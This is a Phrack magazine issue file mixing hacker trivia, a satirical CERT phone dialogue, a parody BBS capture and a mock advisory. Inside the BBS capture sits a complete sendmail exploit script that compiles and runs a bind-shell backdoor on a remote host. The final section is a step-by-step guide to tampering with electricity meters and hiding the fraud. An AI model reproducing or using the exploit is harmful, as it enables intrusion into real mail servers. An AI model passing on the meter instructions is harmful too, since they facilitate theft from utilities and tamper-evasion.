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| Volume Four, Issue Forty-Four, File 3 of 27 |
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| PART I |
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| PHRACK TRIVIA |
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| Last issue I tried something different. I tried to have a little |
| trivia contest, giving away some prizes for the first to get all |
| the answers. Well, I should have known that Phrack's readers |
| are lazy. The amount of you who actually responded was pathetic. |
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| The winners are: dFx, Holistic, Damiano & Matt |
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| I had planned on 5 winners. Notice how many won. I won't even |
| say how many these guys got right, because noone came close to |
| 100%. Obviously I'm the only trivia buff in the underground. |
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| PHRACK TRIVIA ANSWERS |
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| 1) CCIS |
| Common Channel Interoffice Signalling |
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| 2) Stimpson J. Cat's Roommate is? |
| Ren Hoek |
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| 3) Name the cracker. |
| Bill Landreth |
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| 4) METAL AE password. |
| KILL |
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| 5) Who invented the TeleTrial? |
| King Blotto |
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| 6) Name Bloom County's hacker. |
| Oliver Wendell Jones |
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| 7) What was the Whiz Kids' computer named? |
| RALF |
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| 8) Western Union owned what long distance service? |
| MetroPhone |
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| 9) What computer read both Apple ][ and IBM PC disks? |
| The Franklin ACE |
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| 10) Who made the "Charlie" board? |
| John Draper |
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| 11) How many credits for a CNE? |
| 19 |
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| 12) What was in the trunk of the Chevy Malibu? |
| Dead Aliens |
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| 13) Name three bands A. Jourgensen had a hand in. |
| Ministry, Revolting Cocks, Skatenigs, Pailhead, Lard, (etc.) |
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| 14) SYSTEST Password: |
| UETP |
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| 15) What computer makes the best Sim Stim decks? |
| Ono-Sendai |
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| 16) What magazine brought the telephone underground to national |
| attention in 1971? |
| Esquire |
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| 17) What is the significance of 1100 + 1700 hz? |
| KP |
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| 18) What magazine was raided for publishing black box plans? |
| Ramparts |
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| 19) What BBS raid spawned the headlines "Whiz Kids Zap Satellites" ? |
| The Private Sector |
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| 20) CLASS |
| Custom Local Area Signalling Services |
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| 21) What computer responds "OSL, Please" ? |
| NT SL-1 |
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| 22) RACF secures what OS? |
| MVS |
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| 23) The first person to create a glider gun got what? |
| $50.00 |
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| 24) QRM |
| Interference from another station or man-made source |
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| 25) PSS |
| Packet Switch Stream |
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| 26) What PSN was acquired by GTE Telenet? |
| UniNet |
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| 27) 914-725-4060 |
| OSUNY |
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| 28) April 15, 1943 |
| Discovery of LSD |
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| 29) 8LGM |
| 8-legged Grove Machine |
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| 30) WOPR |
| War Operations Planned Response |
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| 31) What happened on March 1, 1990? |
| Steve Jackson Games Raided By Secret Service |
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| 32) Port 79 |
| Finger |
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| 33) Who starred in the namesake of Neil Gorsuch's UNIX security |
| mailing list? |
| Sean Connery |
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| 34) What Dutch scientist did research in RF? |
| Van Eck |
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| 35) What was the author of GURPS Cyberpunk better known as? |
| The Mentor |
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| 36) Who would "Piss on a spark plug if he thought it would do |
| any good?" |
| General Berringer |
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| 37) What thinktank did Nickie Halflinger escape from? |
| Tarnover |
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| 38) NCSC |
| National Computer Security Center |
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| 39) Who is Pengo's favorite astronomer? |
| Cliff Stoll |
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| 40) What language was Mitnik's favorite OS written in? |
| BLISS |
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| 41) Abdul Alhazred wrote what? |
| The Necronomicon |
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| 42) The answer to it all is? |
| 42 |
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| 43) Who is the father of computer security? |
| Donn B. Parker |
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| 44) Who wrote VCL? |
| Nowhere Man |
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| 45) What kind of computer did Cosmo have? |
| A Cray |
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| 46) Hetfield, Ulrich, Hammet, Newstead |
| Metallica |
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| 47) What company wrote the computer game "Hacker?" |
| Activision |
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| 48) Who does Tim Foley work for? |
| US Secret Service |
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| 49) Who played Agent Cooper? |
| Kyle MacLachlan |
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| 50) Vines runs over what OS? |
| AT&T Sys V. UNIX |
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| 51) Mr. Peabody built what? |
| The Way-back Machine |
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| 52) Who makes SecurID? |
| Security Dynamics |
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| 53) What's in a Mexican Flag? |
| White Tequila, Green Creme de Menthe & Grenadine, layered |
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| 54) Who created Interzone? |
| William S. Burroughs |
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| 55) JAMs (as led by John Dillinger) |
| Justified Ancients of MU |
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| 56) Abbie Hoffman helped start what phreak magazine? |
| YIPL |
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| 57) What was once "Reality Hackers?" |
| Mondo 2000 |
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| 58) Gates and Allen "wrote" BASIC for what computer? |
| The Altair |
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| 59) Tahoe is related to what OS? |
| BSD Unix |
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| 60) CPE 1704 TKS is what? |
| Launch Code from Wargames |
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| 61) Telemail's default was what? |
| A |
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| 62) "Do Androids Dream of Electric Sheep" became what? |
| Blade Runner |
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| 63) What broadcasts between roughly 40 and 50 mhz? |
| Cordless Phones |
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| 64) Who created Tangram, Stratosphere, and Phaedra among others? |
| Tangerine Dream |
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| 65) What was Flynn's most popular video game? |
| Space Paranoids |
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| 66) Who lived in Goose Island, Oregon? |
| Dr. Steven Falken |
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| 67) 516-935-2481 |
| Plovernet |
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| 68) What is the security of ComSecMilNavPac? |
| 9 |
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| 69) What has the "spiral death trap?" |
| Qix |
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| 70) Who was the Midnight Skulker? |
| Mark Bernay |
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| 71) TMRC |
| Tech Model Railroad Club |
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| 72) Who wrote "Jawbreaker?" |
| John Harris |
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| 73) 213-080-1050 |
| Alliance Teleconferencing, Los Angeles |
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| 74) What is the Tetragrammaton represented as? |
| YHVH (or IHVH) |
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| 75) Who is Francis J. Haynes? |
| Frank (of the Phunny Phone Call fame) |
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| 76) Who ran into one of the Akira test subjects? |
| Tetsuo Shima |
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| 77) What had "Munchies, Fireballs and Yllabian Space Guppies?" |
| Stargate |
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| 78) PARC |
| Palo Alto Research Center |
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| 79) Alex and his droogs hung out where? |
| The Korova Milk Bar |
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| 80) Jane Chandler in DC's "Hacker Files" is based on who? |
| Gail Thackeray |
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| 81) The Artificial Kid lives on what planet? |
| Reverie |
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| 82) 208057040540 |
| QSD |
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| 83) What are the two most common processors for cellular phones? |
| 8051 & 68HC11 |
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| 84) Who came up with the term "ICE?" |
| Tom Maddox |
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| 85) What group is hoped might help the "Angels" contact RMS? |
| The Legion of Doom |
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| 86) Who is Akbar's friend? |
| Jeff |
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| 87) What company's games was David Lightman after? |
| Protovision |
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| 88) 26.0.0.0 |
| NET-MILNET |
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| 89) Who was Mr. Slippery forced to locate? |
| The Mailman |
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| 90) Who is "The Whistler?" |
| Joe Engressia |
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| 91) What use would a 6.5536 crystal be? |
| Making a red box |
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| 92) .--. .... .-. .- -.-. -.- |
| PHRACK |
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| 93) The Dark Avenger likes what group? |
| Iron Maiden |
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| 94) What book spawned the term "worm?" |
| The Shockwave Rider |
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| 95) Michael in "Prime Risk" wanted money for what? |
| Flying Lessons |
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| 96) Automan's programmer worked for who? |
| The Police Department |
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| 97) What signal filled in keystrokes on TOPS-20? |
| ESC |
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| 98) ITS |
| Incompatible Time-sharing System |
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| 99) (a/c)+121 |
| Inward Operator |
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| 100) What drug kept the scanners sane? |
| Ephemerol |
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| Bonus 1 |
| 3 pts Name three bodies of work by Andrew Blake? |
| Night Trips |
| Night Trips 2 |
| Hidden Obsessions |
| Secrets |
| (etc.) |
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| Bonus 2 |
| 3 pts Name three currently available titles with Norma Kuzma. |
| Fast Food |
| Not of This Earth |
| Cry Baby |
| Laser Moon |
| (etc.) |
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| Bonus 3 |
| 4 pts Why would I hate Angel Broadhurst? |
| Because he was living with Christina Applegate. (Duh) |
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| ******************************************************************************* |
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| ** PHRACK MAGAZINE NEEDS THE FOLLOWING ** |
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| Any Storage Device Capable of Writing ISO-9660 Format + Software |
| (IE: Personal ROM-Writer, Pinnacle Optical Drive, MicroBoard) |
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| A Flatbed 24-Bit Color Scanner |
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| SCSI Hard Drives |
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| 486 or Pentium Processors |
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| SGI Indy/Indigo/Crimson/Iris/Challenge II/Onyx (Any would do) |
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| Spectrum Analysis Equipment |
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| Oscilloscopes |
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| Horizontal & Vertical Sync Adjustment Equipment |
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| Miscellaneous Ham Radio Equipment |
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| Any donations will be generously rewarded with k-rad info and |
| huge amounts of good karma. |
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| ** PHRACK MAGAZINE DOESN'T REALLY NEED BUT KINDA WOULD LIKE THE FOLLOWING ** |
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| The Drew Barrymore Home Video (The Motel One) |
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| The Christina Applegate "Home Video" (The Poker One) |
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| Xuxa's "Early" Films |
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| Howard Stern's "Banned by the FCC" CD |
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| Jennie Garth's Workout Tape |
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| The European Smut Mag with Alissa Milano in it. |
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| ******************************************************************************* |
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| [Something very humorous I found on the FireWalls List] |
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| A one-act play |
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| Dramatis Personae: |
| Perry Metzger (PM): an AVP responsible for the firewall at a |
| Fortune 100 company. |
| Joe Cert (JC): A person at CERT supposed to be helping. |
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| [The scene opens to Perry on the phone with Joe Cert. Perry is at work |
| and freaking out because he doesn't run Sun sendmail and doesn't know |
| what to do. If he turns off mail, his users will kill him. He has no |
| idea how many machines he has to fix or if he has a problem at all.] |
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| PM: Well, I have the problem that I don't normally run Sun sendmail, |
| and I can't run it, so I need to know enough that I can figure out how |
| to fix my security problem. |
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| JC: Well, we don't have a procedure to tell people anything beyond |
| what we put in the advisory. |
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| PM: I run the gateway for a firm that trades hundreds of billions of |
| dollars a day in the financial markets. We can't afford do get shut |
| down. Isn't there any way you can tell me anything that can help me? |
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| JC: Well, we really don't have a procedure in place. |
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| PM: I see. Can I ask you some questions? |
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| JC: Sure. |
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| PM: So this problem, would it be fixed if I had the Prog mailer turned |
| off on my machines? |
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| JC: Well, its a problem that will allow people to run programs on your |
| machine. |
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| PM: Yes, but would turning off the Prog mailer fix it? |
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| JC: Well, the problem allows people to run programs on your machine. |
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| PM: I see. Will this problem only hurt machines that have direct TCP |
| access to the internet, or are machines that can get mail indirectly |
| also possibly affected? |
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| JC: The hole is exploited by sending mail to the machine. |
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| PM: Yes, but do you need SMTP access to the machine, or will just |
| being able to send mail to it hurt you? |
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| JC: Well, the hole is exploited by sending mail to the machine. |
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| PM: look, the machine on my firewall can't be telneted to. Does that |
| make me safe? |
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| JC: Well, the hole is exploited by sending mail to the machine. |
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| PM: Listen, I have THREE THOUSAND workstations in a dozen cities on |
| three continents. Are you telling me that I have to tell all my people |
| that they are working the weekend installing a new sendmail on every |
| machine in the firm? I don't even know how to test to see if I've |
| fixed the problem once I've done that! |
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| JC: Well, the whole is exploited by sending mail to the machine. |
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| PM: Can't you tell me any details? |
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| JC: We really don't have a procedure for that. |
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| PM: Do you know what the problem is? |
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| JC: I can reproduce it, yes. |
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| PM: Look, I work for a company with REAL MONEY on the line here. I can |
| get you a letter from a managing director telling you that I'm legit. |
| You can check who we are in any newspaper -- we're one of the largest |
| investment banks in the world. Every day the Wall Street Journal lists |
| the Lehman Brothers T-Bond Index on page C-1. You can check my |
| criminal record -- hell, the SEC makes you get fingerprinted so many |
| times around here that I've still got ink on my fingers from the last |
| time. Can't you give me some help here? |
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| JC: We really don't have a procedure for doing that. I'm taking |
| notes, though, and I'll tell my management of your concerns. |
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| [He continues in this vein, but eventually, our hero gives up, |
| realizing that CERT is part of the problem, not the solution. All |
| they've succeeded in doing is keeping him up at night. He can't fix |
| his problem, since he doesn't know how. He has no idea if he has a |
| problem. He can't check once he's done something to determine if he's |
| fixed it. All he knows is that CERT has no procedure for telling him |
| anything regardless of who he is, period.] |
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| PM: So what you are telling me is that if I want details I have to |
| subscribe to 2600 Magazine? |
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| JC: We don't have a procedure for giving you more information, no. |
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| PM: I'm sure the crackers will be happy to hear that. They are likely |
| telling each other at a nice high speed. |
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| ******************************************************************************* |
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| IF SECURITY TYPES WERE K-RAD |
| PART II |
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| SecurNet BBS Captures |
| (From the LODCOM BBS Archive Project) |
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| Number :) 214 |
| From :) Uncertain Future |
| Subject :) Get a life |
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| Hey All, |
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| Everyone out there who keeps calling up the Hotline |
| begging for BUGS can just get a life. |
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| If you have to ask, you don't deserve to know. |
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| UnCERTian Future |
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| [A]uto reply [N] [R]e-read [Q]uit:N |
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| Number :) 215 |
| From :) Spaf Master |
| Subject :) ... |
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| Rum0r haz 1t that a p13cE 0f sH1t hAqu3r |
| Nam3d Sk0tt ChaZ1n iz 0n Th3 F1RST l1zt!*&@$ |
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| 3yE hAv3 Try3D 2 g3t h1m Rem0v3D ButT n0-1 |
| 0N th3 l1sT w1lL d3w 1t!! |
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| Y Kan'T w3 d0 s0meth1ng aB0uT tHeze pr1ckz? |
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| 1 r3MeMb3r a dAy Wh3n 1t 0nLy t0oK a PhAx |
| thR3at3n1nG 2 3nD mY sUpP0rT w0ulD g3t |
| a CumSek Haqu3r lyK3 ChaZ1n R3m0v3D!@!# |
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| Sh1T! |
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| --spaf |
| Forum Of OverLordS |
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| Number :) 216 |
| From :) Zen |
| Subject :) Who died and left you in charge? |
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| You suck Jeanie. |
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| Who said YOU got to be the master? |
| Your group sucks too. You have obsolete info. |
| You guys say "There is nothing you have that we can |
| not possess?" Well, there is nothing you have that |
| WE want to possess. |
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| I think I will begin shooting off my mouth at |
| Usenix Security BOFs and in Risks and in |
| mailing lists, then maybe I can be as ELEET as |
| you. NOT! |
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| Zen |
| Legion of Security Types |
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| [A]uto reply [N] [R]e-read [Q]uit:N |
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| Number :) 217 |
| From :) Hackman |
| Subject :) I Dream of Geneie |
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| Yo Yo Yo... |
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| I think someone wants to be the next Donn Parker. |
| Similarities: |
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| 1) Has BIG mouth |
| 2) Writes Worthless Books |
| 3) Hoardes inpho from invisible enemy |
| 4) Goes on and on about "Evil Crackers" |
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| You should start charging 5000+ dollar speaking fees |
| and shave your head. THEN, maybe someone will |
| hire your worthless self, and you can emerge |
| from Academia into the REAL world. Nah...you are |
| too LAME! |
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| HACKMAN |
| Legion of Security Types |
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| [A]uto reply [N] [R]e-read [Q]uit:N |
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| Number :) 218 |
| From :) American Eagle |
| Subject :) hey. |
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| You two punks think you are so kool, don't you? |
| I was developing security theory when you were |
| in junior high. You need to get your asses |
| kicked, and I'm the guy to do it. |
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| About my speaking fees...Youre jealous. See green often? |
| You wish your k-rad companies (pffft) would pay you |
| as well. BAH. |
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| AE |
| /q |
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| \s |
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| stop |
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| Number :) 219 |
| From :) Captian VAX |
| Subject :) New BBS |
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| Hello, |
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| I am putting up a new bbs to be a forum for a database |
| on bugs and security problems. If you are interested, |
| please send me email on here or on internet. |
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| Thx |
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| CV |
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| Number :) 220 |
| From :) The BeanCounter |
| Subject :) STUPH |
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| HEY...I AM NOT SURE BUT I THINK |
| MY ACCOUNT AT DOCKMASTER HAS BEEN |
| HACKED OUT. IF ANY1 KNOWS WHO |
| DID IT LET ME KNOW. |
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| I AM REALLY PISSED! THATS WHAT |
| HAPPENS WHEN PEOPLE GET SLOPPY AND |
| THEY LET ON JUST ANYONE WHO CAN |
| FILL OUT THE FORM! CAN WE LIE DOWN |
| WITH DOGS AND EXPECT NOT TO GET UP |
| WITH FLEAS? |
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| WHM |
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| Number :) 221 |
| From :) Spaf Master |
| Subject :) fUq U alL |
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| 33t sh1T u Pr1Kz!#!$@ |
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| 3yE m M0r3 3l33t thAn alL 0f u!!! |
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| U w1lL All F3el mY wRatH! |
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| Ey3 Hav3 ur InPh0!@$@ 1 w1Ll b3 kaLl1nG 3aCh |
| 0f U v3Ry so()n. |
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| --spaf |
| Forum Of OverLordS |
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| Number :) 222 |
| From :) Venom |
| Subject :) Fuck! |
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| Now I'm mad. That bastard Chasin posted the Sendmail Bug on |
| The firewalls list! Now all the hackers will have it! |
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| I'm going to take him down. Anyone who wants to help, his |
| site is crimelab.com. You can check the Forum's |
| Codeline for further developments. |
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| Get your scripts ready! Let's hack the little prick! |
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| Venom |
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| Number :) 223 |
| From :) American Eagle |
| Subject :) Sendmail |
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| What is the sendmail bug? |
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| AE |
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| Number :) 224 |
| From :) Uncertian Future |
| Subject :) Sendmail |
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| The Sendmail bug is a bug that works using sendmail. |
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| This bug works on hosts using sendmail and can allow |
| people to do things from remote through sendmail. |
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| I know the bug, but I'm not going to give it out. |
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| Forum Members can get it from the Database |
| on CertNet. |
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| UnCERTian Future |
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| Number :) 225 |
| From :) The BeanCounter |
| Subject :) SENDMAIL |
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| ED: |
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| I DON'T HAVE ACCESS TO THE DATABASE |
| ON CERTNET. |
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| COULD YOU SEND IT TO ME IN EMAIL? |
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| WHM |
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| Number :) 226 |
| From :) Uncertian Future |
| Subject :) Bill... |
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| Yes, you do. All Members of The Forum |
| have access. I will call you and tell you |
| how to access it. Remember, UNIX |
| is case sensitive. If this is a problem, you |
| will have to use another computer. |
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| UnCERTian Future |
| Forum Of OverLordS |
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| Number :) 227 |
| From :) Information Warrior |
| Subject :) InterNuts |
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| I have been having a really dumb conversation on the |
| net with a moron who wants to argue about HERF with ME! |
| WITH ME! Can you believe it? I almost want to strangle the |
| guy. Some college kid, but still... |
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| The new file is due out soon. I will place it in the |
| upload section in .zip format. Someone will have to |
| unzip it for Donn and Bill. I don't think they have |
| figured that utility out yet. |
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| Number :) 228 |
| From :) Hackman |
| Subject :) Sendmail Bug. Dig it. |
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| You Forum people piss me off. Turn on your buffers everyone |
| cuz here comes the bug. Fuck you if you don't like it. |
|
|
|
|
| ------Cut Here-------- |
| #!/bin/sh |
| # Copyright, 1992, 1993 by Scott Chasin (chasin@crimelab.com) |
| # |
| # This material is copyrighted by Scott Chasin, 1992, 1993. The |
| # usual standard disclaimer applies, especially the fact that the |
| # author is not liable for any damages caused by direct or indirect |
| # use of the information or functionality provided by this program. |
| # |
| # Description: |
| # |
| # Exploit NEW sendmail hole and bind a port so we can spawn a program. |
| # Not for distribution under any circumstances |
| # |
| # Usage: smail <hostname> <target-user-name> <target-port> <shell command> |
| # default: smail <localhost> <daemon> <7001> </bin/sh> |
|
|
| port=$3 |
| user=$2 |
| cmd=$4 |
|
|
| if [ -z "$2" ]; then |
| user=daemon |
| fi |
|
|
| if [ -z "$3" ]; then |
| port=7002 |
| fi |
|
|
| if [ -z "$4" ]; then |
| cmd="/bin/csh -i" |
| fi |
|
|
| ( |
| sleep 4 |
| echo "helo" |
| echo "mail from: |" |
| echo "rcpt to: bounce" |
| echo "data" |
| echo "." |
| sleep 3 |
| echo "mail from: $user" |
| echo "rcpt to: | sed '1,/^$/d' | sh" |
| echo "data" |
| echo "cat > /tmp/a.c <<EOF" |
| cat << EOF |
| #include <sys/types.h> |
| #include <sys/signal.h> |
| #include <sys/socket.h> |
| #include <netinet/in.h> |
| #include <netdb.h> |
| reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac; |
| int **av;{struct sockaddr_in mya;struct servent *sp |
| ;fd_set muf;int myfd,new,x,maxfd=getdtablesize(); |
| signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM, |
| 0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr, |
| sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp")) |
| ==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port |
| =htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd, |
| (struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd, |
| 1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if |
| (select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto |
| loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork() |
| ==0){for(x=2;x<maxfd;x++)if(x!=new)close(x);for(x=0;x< |
| NSIG;x++)signal(x,SIG_DFL);dup2(new,0);close(new);dup2 |
| (0,1);dup2(0,2);execv(av[2],av+2);exit(1);}close(new); |
| goto loop;} |
| EOF |
| echo "EOF" |
| echo "cd /tmp" |
| echo "/bin/cc /tmp/a.c" |
| echo "/bin/rm a.c" |
| echo "/tmp/a.out $port $cmd" |
| echo "." |
| echo "quit" |
| ) | mconnect $1 |
| --------------------------------------------------------------------- |
|
|
|
|
| This Buffer Brought To You By: L.O.S.T |
|
|
| Greets Going Out To: The Great Circle, Apple-Man, Casper The Ghost, |
| Zen and the L.O.S.T Posse! |
|
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|
|
| [A]uto reply [N] [R]e-read [Q]uit:N |
|
|
| Number :) 229 |
| From :) Spaf Master |
| Subject :) D1CK!!! |
|
|
| Ey3 kAnt b3l1V3 u p0sT3d 1t! |
|
|
| U w1lL PaY d3aRly 4 ur NaRq1nG th1z BUG! |
| Ur dAyz r NumB3rd!@!# |
|
|
| --spaf |
| Forum Of OverLordS |
|
|
| [A]uto reply [N] [R]e-read [Q]uit:N |
|
|
| Number :) 230 |
| From :) LOST Girl |
| Subject :) Bugs |
|
|
| Thanks for posting that. I was wondering if you |
| I would ever get it. Nasa probably has it...they |
| have every HOLE... <sigh> Why did I take this job? |
|
|
| L.O.S.T Girl |
|
|
| Number :) 231 |
| From :) American Eagle |
| Subject :) That post |
|
|
| How do you use that bug? |
|
|
| I tried typing it in,but got a lot of errors. |
|
|
| Is it for some special operating system? Or do you have |
| to type it in on a special port? |
|
|
| American Eagle |
| Forum Of OverLordS |
|
|
| [A]uto reply [N] [R]e-read [Q]uit:N |
|
|
| Number :) 232 |
| From :) Zen |
| Subject :) New Program |
|
|
| The new version of COPS is available for Download. |
| Zero Day Ware! Get it fast. I will u/l updates/ |
| bug fixes later... |
|
|
| Gotta love all them filepoints! |
|
|
| Off to play Xtank |
|
|
| Zen |
| Legion Of Security Types |
|
|
| [A]uto reply [N] [R]e-read [Q]uit:N |
|
|
| Number :) 234 |
| From :) Spaf Master |
| Subject :) !@!# |
|
|
| Ur Pr0grA/\/\ 1z amUz1nG, But Un3l3eT |
|
|
| Eye p0Ss3z 1 0F mUch gR3aTr aB1liTy thAt Th3 |
| 4-m w1lL Us3. |
|
|
| Ch3Ck th3 DatAbaS3 0n CERT-NET. |
|
|
| D3aTh 2 LOST |
|
|
| --spaf |
| Forum Of OverLordS |
|
|
| Number :) 235 |
| From :) Sysop |
| Subject :) WARNING! |
|
|
| Someone has given out the NUP. |
| Some cracker type has attempted to |
| access the bbs as of last night. I will call |
| UnCERTain Future to put out an advisory on this |
| issue. Please do not give out the NUP to anyone. |
|
|
| THIS IS A PRIVATE BBS! |
|
|
| [A]uto reply [N] [R]e-read [Q]uit:N |
|
|
| End of Messages |
|
|
| [A]uto reply [N] [R]e-read [Q]uit:Q |
|
|
| ******************************************************************************* |
|
|
| ============================================================================= |
| CA-93:16 CERT Advisory |
| October 23, 1993 |
| Hacker/Cracker Vulnerabilities |
| ----------------------------------------------------------------------------- |
|
|
| The CERT Coordination Center has learned of several vulnerabilities |
| in the language used on the USENET system. This vulnerability affects |
| all users running rn, tin or other USENET news readers as well as users |
| holding discussions containing the words "hacker" or "cracker". |
|
|
| Patches can be obtained from your local phrack archive as well as through |
| anonymous FTP to they ftp.netsys.com (192.215.1.2) system. |
|
|
| Information concerning specific patches is outlined below. Please note |
| that phrack sometimes updates patch files. If you find that the checksum |
| is different, please contact phrack. |
|
|
| ----------------------------------------------------------------------------- |
|
|
| I. Hack and Crack Vulnerabilities |
|
|
| These vulnerabilities affect all systems running a USENET news- |
| reader including rn and tin, as well as all conversations, papers |
| and stories involving the words "Cracker" and/or "Hacker". |
|
|
| ** This vulnerability is being actively exploited and we strongly |
| recommend that sites take immediate and corrective action. ** |
|
|
| A. Description |
|
|
| A vulnerability exists in the words "Hacker" and "Cracker" such |
| that users may become confused as to exactly who/what you are |
| talking about when used in a sentence. |
|
|
| B. Impact |
|
|
| Unauthorized confusion to affected conversations may ensue. |
|
|
| C. Solution |
|
|
| We recommend that all affected sites take the following steps |
| to secure their systems. |
|
|
| 1. Obtain and install the appropriate patch following the |
| instructions included with the patch. |
|
|
| System Patch ID Filename Checksum |
| ------ -------- --------------- --------- |
| all 10288 10288.tar.Z 5551 212 |
|
|
| The checksums shown above are from the BSD-based checksum. |
|
|
| 2. If your conversation is found to have been compromised by |
| the word "Hacker" or "Cracker", we recommend you flame |
| all parties involved and immediately break up the discussion |
| by talking about the "correct" meaning of the words. |
|
|
| 3. Depending upon the sensitivity of the information contained |
| in your conversation, you may wish to replace the existing |
| conversation with one discussing (a) the NSA, (b) the BATF |
| (c) The Kennedy Assasination, (d) why shadowing password |
| schemes are helpful or hurtful or (e) which file editor is |
| actually the best. |
|
|
|
|
| --------------------------------------------------------------------------- |
| The CERT Coordination Center wishes to thank the Rogue Agent, (Rogue Agent/ |
| SoD!/TOS/KoX), the letter 'Q' and the number '55' for reporting these |
| vulnerabilities and Phrack, Inc. for their response to these problems. |
| --------------------------------------------------------------------------- |
|
|
| If you believe that your system has been compromised, contact the CERT |
| Coordination Center or your representative in FIRST (Forum of Incident |
| Response and Security Teams). |
|
|
| Internet E-mail: cert@cert.org |
| Telephone: 412-268-7090 (24-hour hotline) |
| CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4), |
| and are on call for emergencies during other hours. |
|
|
| CERT Coordination Center |
| Software Engineering Institute |
| Carnegie Mellon University |
| Pittsburgh, PA 15213-3890 |
|
|
| Past advisories, information about FIRST representatives, and other |
| information related to computer security are available for anonymous FTP |
| from cert.org (192.88.209.5). |
|
|
| ******************************************************************************* |
|
|
| [** NOTE: The following file is presented for informational and |
| entertainment purposes only. Phrack Magazine takes NO |
| responsibility for anyone who attempts the actions |
| described within. **] |
|
|
| Power to the People |
|
|
| A little theory to get you started: |
|
|
| Watts=Current * Voltage |
|
|
| A power meter consists of a voltage coil, a current coil, a small motor |
| to drive the dials, and little else. Given the formula above, if we can |
| somehow cut down the voltage that the meter 'sees', then we can reduce the |
| number of watts that it measures. If we cut our voltage in 1/2, our watts |
| also get cut in half. |
|
|
| Fortunately, your meter doesn't read the voltage directly off of the |
| lines into your house. Two small wires lead to the voltage coil within the |
| meter. Simple modification to this circuit is all that is needed. Inserting |
| a resistor in series with the voltage coil will cut the voltage that the |
| meter sees, and therefore that wattage that it reads. |
|
|
| Meters read Kilowatts per hour, and you pay so much for each kilowatt. |
| Since the hours remain constant (unless your stuck in one of those nasty |
| little dimensional time warps..and I really hate it when that happens), your |
| bill is directly related to what resistor value you insert. Do this |
| correctly, and carefully, you will save a bundle on the power you use. |
|
|
| Say I cut my bill by $40 per month..$40 * 12 months = $480 saved with |
| a original 'investment' of $5 that is a 96 fold return on your investment. |
| This idea also might be used to provide a service to your trusted friends, |
| $100 bux a mod or so..$$$ |
|
|
| One last little caution before you begin, don't go messing around with |
| the adjustment screws you will find, usually there are 2 of them with F & S |
| marked near them. I had the foolish idea to mess with these, the result is |
| when I am drawing very little power (a few watts) my meter will slowly run |
| backwards. Next time I'm modifying it, I'll have to fix that. Mr. Meter |
| Reader would really wonder what the heck was going on when he saw that. |
| (Mr. Meter Reader will be thinking he's done far to many drugs on the |
| weekend..or needs to be.) |
|
|
| SUPPLIES NEEDED: |
|
|
| (2) Power meters. You'll perform the mod on one, and use the other to |
| have in while you're doing it. |
| (1) Length of heat shrink tubing, a sufficient size to cover a half |
| watt resistor. |
| (Some) half-watt resistors, 10k-25k or so. (A 10K resistor will cut |
| your bill in half...15K quit a bit more (the amount saved, is |
| NOT linear to the resistor value..more like a logarithmic scale) |
| (some) Good old 100% silicon caulk |
| Soldering iron, solder, lots of nerve. |
|
|
| To begin the Mod: |
|
|
| Take the little 'lock' they use (little plastic deal), and chuck it. Wait |
| about 2 months for the reader to get used to the fact it's gone..the idea |
| is that if they think you've tampered with it cause the lock is gone..they |
| will check and find no tampering then..(least that's the idea) |
|
|
| If you happen to know someone who works for the power company, and can |
| get your hands on some of those locks, get a few new ones, and let them 'age' |
| outside for a few months (to get that used look), then replace yours with it |
| when done. And if anyone happens to know of a source for these locks, I |
| would appreciate knowing. |
|
|
| You'll need to 'find/get/steal/snag/etc' another meter to put in while your |
| fixing your..(kinda hard to see/solder with no power) ;) |
|
|
| Lift the now unlocked cover and pull meter out..(simply pulls out of the |
| socket real easy) put other meter in for a while..(do at night would be a good |
| idea..neighbors would wonder what the heck you were doing eh?) |
|
|
| On the side of the meter, there will be a little (probably copper), pin, |
| that is designed to break when you unbend the end of it..(security device). |
| Be real careful and try not to break it when you bend it back (if it breaks, |
| save the piece that broke off) |
|
|
| Pull that out, and then turn the ring that holds the unit together..it |
| should then come apart real easy. |
|
|
| Between the assembly where the wheel is and the base plate, look in the gap, |
| there should be a black deal that looks like a transformer attached to the core |
| of the meter and 2 black wires leading from the prongs of the meter base to |
| the smaller coil. This is the voltage coil. Here comes the fun part! |
|
|
| Cut one of the wires, being sure you cut where you can hide the damage |
| later. Solder in 10k or 15k resistor with the leads of resistor cut off right |
| at resistor body, and also put the heat shrink tubing on the resistor, and |
| shrink it..(with heat preferably) ;) |
|
|
| Take silicone rubber (the 100% pure stuff..) and glue the resistor and the |
| shrunk tubing over it underneath the top assembly. Make it appear that the |
| wires simply curve up that way and nothing more. Put ring back on. Notice |
| that you must put the meter together exactly the way it came apart. |
| Example: on mine, i noticed that there was dirt on the bottom from rain |
| splashing mud onto the meter. It would look kinda obvious if the mud |
| suddenly appeared on top of the meter. |
|
|
| Take the little pin that you removed (copper thing) and replace it in |
| the hole and through the ring as before. Bend the end back up like before |
| also if it broke, bend what is left anyways, there should be plenty left |
| to bend. Take the broken end (if it broke), and jam it under the end of |
| the bend to make it look legit. If they do pull the meter to inspect, |
| they will hopefully just think that it might have broke loose when it was |
| installed. |
|
|
| I have noticed on some unmodified meters that I 'found' that the security |
| pin has been broken already. So It's reasonable safe to assume that they |
| don't take much faith in them. |
|
|
| When done, you should NOT be able to tell if any mods have been done by |
| looking. Be sure it's undetectable, they get kinda mad when you do things |
| like this for some odd reason. It's suggested that after the modification, |
| you have a friend, who you trust not to fink, take a very close look to |
| see if they can spot any mods. |
|
|
| Your bill should drop in half or more..if you really want to drop the |
| bill..do this in steps.. a few months apart..so they won't notice that your |
| bill is dropping like a rock. Just don't get silly. Using only 1kwh per |
| month just yells fraud. Mine went from $80-$90 a month to around $30-$37 |
| month with a 10K resistor (I added a electric dryer and other items during |
| that month also.) |
|
|
| You might want to try this a few times on other meters you've 'found' |
| just to get the nack of it first, it should work with all meters. At least |
| the ones they use in my area. |
|
|
| Table of comparisons: |
|
|
| test made using 1320 watt electric heater. |
| 120V |
| 11 amps |
| 1.3 KWH |
|
|
